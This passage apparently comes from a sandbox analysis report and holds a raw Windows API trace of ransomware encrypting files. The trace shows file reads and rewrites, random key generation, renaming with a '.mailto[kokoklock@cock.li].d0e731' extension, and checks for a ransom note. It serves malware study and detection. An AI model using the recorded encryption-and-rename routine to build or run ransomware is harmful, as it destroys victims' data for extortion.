"c:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.410] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0168.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e1e8) returned 1 [0168.410] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0168.410] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87b60 [0168.410] wcscpy (in: _Dest=0x2f87b60, _Source="C:\\588bce7c90097ed212\\1053\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0168.410] wcscat (in: _Dest=0x2f87b60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" [0168.410] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\d0e731-readme.txt")) returned 0x20 [0168.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87b60) returned 1 [0168.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4ed8) returned 1 [0168.410] RtlExitUserThread (Status=0x1) Thread: id = 1613 os_tid = 0xcb4 [0166.305] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.306] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.307] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x966fb64 | out: lpFileSize=0x966fb64*=77872) returned 1 [0166.307] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1302c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.307] ReadFile (in: hFile=0x528, lpBuffer=0x966fb38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x966fb38*, lpNumberOfBytesRead=0x966fb34*=0x4, lpOverlapped=0x0) returned 1 [0166.308] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43e8 [0166.310] NtQuerySystemTime (in: CurrentTime=0x966fb10 | out: CurrentTime=0x966fb10*=132121213236260785) returned 0x0 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xe66c52ca [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xb4186d6e [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xea7bb2a6 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x7d39de24 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x6e211ac1 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x875b22c6 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x7cef8a1f [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xa1220053 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xe3c5ef4e [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x3b079f3b [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xa54cca35 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x2dcd4982 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x7697a870 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x913105ee [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xaecdef62 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xe05cd876 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xbfb6810d [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xee4c8c30 [0166.310] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xe3bc1a6 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x31cf1eb6 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xdcac8e93 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xfe3cfac6 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x72f74807 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xfc4176fd [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x8539f4e4 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xe6ec408 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xd270a33b [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xe012f781 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0xb33b7d37 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x55d25f54 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x3bfe04b6 [0166.311] RtlRandom (in: Seed=0x966fb1c | out: Seed=0x966fb1c) returned 0x16460ade [0166.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4410 [0166.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4438 [0166.322] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.322] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.322] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.323] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x966fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x966fae8*=0x4096, lpOverlapped=0x0) returned 1 [0166.324] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.324] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.325] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x966fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x966fae8*=0x4096, lpOverlapped=0x0) returned 1 [0166.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.325] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13030, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.325] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x966fb20, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x966fb20*=0x20, lpOverlapped=0x0) returned 1 [0166.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.326] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x2fe4438*, lpNumberOfBytesWritten=0x966fb34*=0x8, lpOverlapped=0x0) returned 1 [0166.326] WriteFile (in: hFile=0x528, lpBuffer=0x966fb4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x966fb4c*, lpNumberOfBytesWritten=0x966fb34*=0x4, lpOverlapped=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x966fb34*=0x4, lpOverlapped=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x966fb34*=0x6c, lpOverlapped=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x966fb34*=0x20, lpOverlapped=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x966fb34, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x966fb34*=0x4, lpOverlapped=0x0) returned 1 [0166.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4410) returned 1 [0166.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4438) returned 1 [0166.327] CloseHandle (hObject=0x528) returned 1 [0166.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.327] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.327] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.327] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.328] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.329] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.329] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1053\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0166.329] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" [0166.329] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\d0e731-readme.txt")) returned 0x20 [0166.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d950) returned 1 [0166.330] RtlExitUserThread (Status=0x1) Thread: id = 1614 os_tid = 0xcb8 [0166.331] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.332] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.332] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x96efd4c | out: lpFileSize=0x96efd4c*=54648) returned 1 [0166.332] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xd574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.333] ReadFile (in: hFile=0x528, lpBuffer=0x96efd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x96efd20*, lpNumberOfBytesRead=0x96efd1c*=0x4, lpOverlapped=0x0) returned 1 [0166.334] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0166.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4410 [0166.334] NtQuerySystemTime (in: CurrentTime=0x96efcf8 | out: CurrentTime=0x96efcf8*=132121213236417006) returned 0x0 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xcc6b52b4 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x98bdc708 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xf7646cd [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x1f8c5c19 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xedafe49 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x809c0665 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x5d2aac80 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x6c6c233e [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xfc38666 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x797b90b0 [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x24bbbeac [0166.334] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x1d4e1a1a [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xa1328a35 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x1040284b [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x59245f2c [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x9b435577 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x473aad8d [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xf6164f7b [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x4cd1f4b7 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xb7383201 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x92135d40 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x8fdfb1c [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xee359d04 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x492b7f16 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xaed756d8 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xfdfd8d88 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xcd6e40ac [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x35f67847 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xd0267e3c [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xade38cee [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0xe1315f08 [0166.343] RtlRandom (in: Seed=0x96efd04 | out: Seed=0x96efd04) returned 0x21dbfee4 [0166.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4438 [0166.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.359] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.359] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x96efcd0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x96efcd0*=0x4096, lpOverlapped=0x0) returned 1 [0166.360] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4488 [0166.360] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4488) returned 1 [0166.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4488 [0166.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4488) returned 1 [0166.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.361] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x96efcd0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x96efcd0*=0x4096, lpOverlapped=0x0) returned 1 [0166.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.361] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xd578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.361] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x96efd08, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x96efd08*=0x20, lpOverlapped=0x0) returned 1 [0166.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.361] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4460*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4460*, lpNumberOfBytesWritten=0x96efd1c*=0x8, lpOverlapped=0x0) returned 1 [0166.362] WriteFile (in: hFile=0x528, lpBuffer=0x96efd34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x96efd34*, lpNumberOfBytesWritten=0x96efd1c*=0x4, lpOverlapped=0x0) returned 1 [0166.362] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x96efd1c*=0x4, lpOverlapped=0x0) returned 1 [0166.362] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x96efd1c*=0x6c, lpOverlapped=0x0) returned 1 [0166.362] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0x96efd1c*=0x20, lpOverlapped=0x0) returned 1 [0166.362] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x96efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x96efd1c*=0x4, lpOverlapped=0x0) returned 1 [0166.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0166.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4438) returned 1 [0166.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.362] CloseHandle (hObject=0x528) returned 1 [0166.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.362] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.362] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.362] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.363] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.364] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.364] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.364] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1049\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0166.364] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" [0166.364] GetFileAttributesW 